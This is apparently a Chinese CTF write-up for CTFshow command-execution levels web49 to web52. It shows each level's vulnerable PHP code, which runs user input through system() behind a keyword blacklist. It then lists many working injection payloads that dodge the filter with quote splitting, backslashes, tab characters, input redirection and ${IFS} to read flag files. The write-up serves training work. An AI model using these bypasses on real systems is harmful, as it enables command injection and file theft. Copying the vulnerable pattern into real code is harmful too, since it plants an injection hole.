CTFshow系列——命令执行web49-52
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
- Web49
- Web50
- Web51(新payload,打开思路)
- Web52
- 尝试payload
- 总结
Web49
不多说,直接看代码:
<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
这里我们与Web48关,进行对比,发现只是增加了 %
的过滤;
我们还可以用\
和‘’
单引号来执行payload:
# payload
?c=tac%09fla?.php||
?c=tac<f''lag.php||
?c=tac<fla%27%27g.php||# 查看源代码
?c=c\at<fl\ag.php||
其实payload是一样的,没有改变:
Web50
还是直接看代码,这里都能看出来不同:
<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
多了对\x09
和\x26
的过滤:
那么多了这两个作用是什么?
-
\x09
和\x26
的过滤都是为了让命令注入变得更难,它们分别用于防范: -
\x09: 防止攻击者使用制表符来代替空格,从而执行带有参数的命令。
- 作用:代码已经过滤了空格 ,攻击者无法使用 ls -al 这样的命令。然而,如果 \x09 没有被过滤,攻击者就可以用制表符来代替空格
- 攻击示例:
- 原始命令:ls -al
- 绕过后的命令:ls%09-al
- \x26: 防止攻击者使用
&
符号来执行多条命令或将命令放入后台。- 作用:过滤
&
和&&
是为了进一步限制攻击者执行多个命令
- 作用:过滤
- 攻击示例:
-
原始攻击:ls; cat flag.php (已被分号过滤)
-
& 绕过:ls & cat flag.php
-
&& 绕过:ls && cat flag.php
-
那照这么说,我们的 payload:?c=tac%09fla?.php|| 岂不是用不了了?
事实证明,确实用不了。。。
但是其他payload还是不受影响的:
?c=tac<f''lag.php||
?c=tac<fla%27%27g.php||# 查看源代码
?c=c\at<fl\ag.php||
Web51(新payload,打开思路)
还是看代码:
<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
这里竟然把我们最爱的tac
都给过滤掉了,那我们还能用什么方法进行过滤?
tac被过滤,就用
nl
既然''
能够过滤f’'lag,那么为什么不试试t' 'ac
呢?
# payload
?c=nl<f''lag.php||# 这个也不能忘记
?c=c\at<fl\ag.php||
?c=t\ac<fl\ag.php||
?c=n\l<fl\ag.php||
?c=mor\e<fl\ag.php||
?c=les\s<fl\ag.php||# 同理,查看源代码
?c=t''ac<f''lag.php||
?c=mor''e<fla''g.php||
?c=les''s<fla''g.php||
其他的尝试:
这里还尝试进行Web43,想将flag.php复制到out.txt文件,发现还是不行。
Web52
直接看代码:
<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
分析代码得知,多了对<
>
的过滤:
还是那个问题:
接下来我们要找<
的替代品,或者 空格 的另一种绕过方式;
> < &
被过滤了,就用${IFS}- ${IFS} 的含义:IFS 全称为 “Internal Field Separator”(内部字段分隔符),默认值包含空格、制表符和换行符。在命令行里,
${IFS}
可以用来替代空格。 - 原因:正则表达式过滤了空格字符 ,但没有对 ${IFS} 进行过滤。
- 所以,当把命令写成
ls${IFS}-l
时,在正则表达式的检查中,因为不存在被过滤的空格字符,该命令就能通过检查。
- ${IFS} 的含义:IFS 全称为 “Internal Field Separator”(内部字段分隔符),默认值包含空格、制表符和换行符。在命令行里,
当然,我们还可以尝试\
的payload是否能用:
尝试payload
这里我们输入命令后,发现了东西,但好像有没发现:
?c=t''ac${IFS}f''lag.php||
是这个字符串的md5值吗,输入进入发现也不是:ctfshow{48dbb53bc7c946dc4b9b8c782b054551}
那我们进入别的目录查找:
# 查看根目录查看
?c=ls${IFS}/||
发现flag目录,进入查看是否有flag:
?c=t''ac${IFS}/f''lag||
好了,得到flag,下面我帮大家把能试出来的都试出来了:
注意:这里关于 反引号
和 \
作用是一样的,都可以相互替换,我就不进行枚举了:
?c=t''ac${IFS}/f''lag||
?c=c''at${IFS}/f''lag||
?c=nl${IFS}/f''lag||
?c=m''ore${IFS}/f''lag||
?c=l''ess${IFS}/f''lag||# 查看源代码
?c=c\at${IFS}/fl\ag||
?c=t\ac${IFS}/fl\ag||
?c=n\l${IFS}/fl\ag||
?c=mor\e${IFS}/fl\ag||
?c=les\s${IFS}/fl\ag||
好了,差不多就这么点东西了;
总结
本次也是给大家提供了很多payload,但其实规律都是一样的:通过特殊字符进行关键词的绕过,然后再逐渐尝试;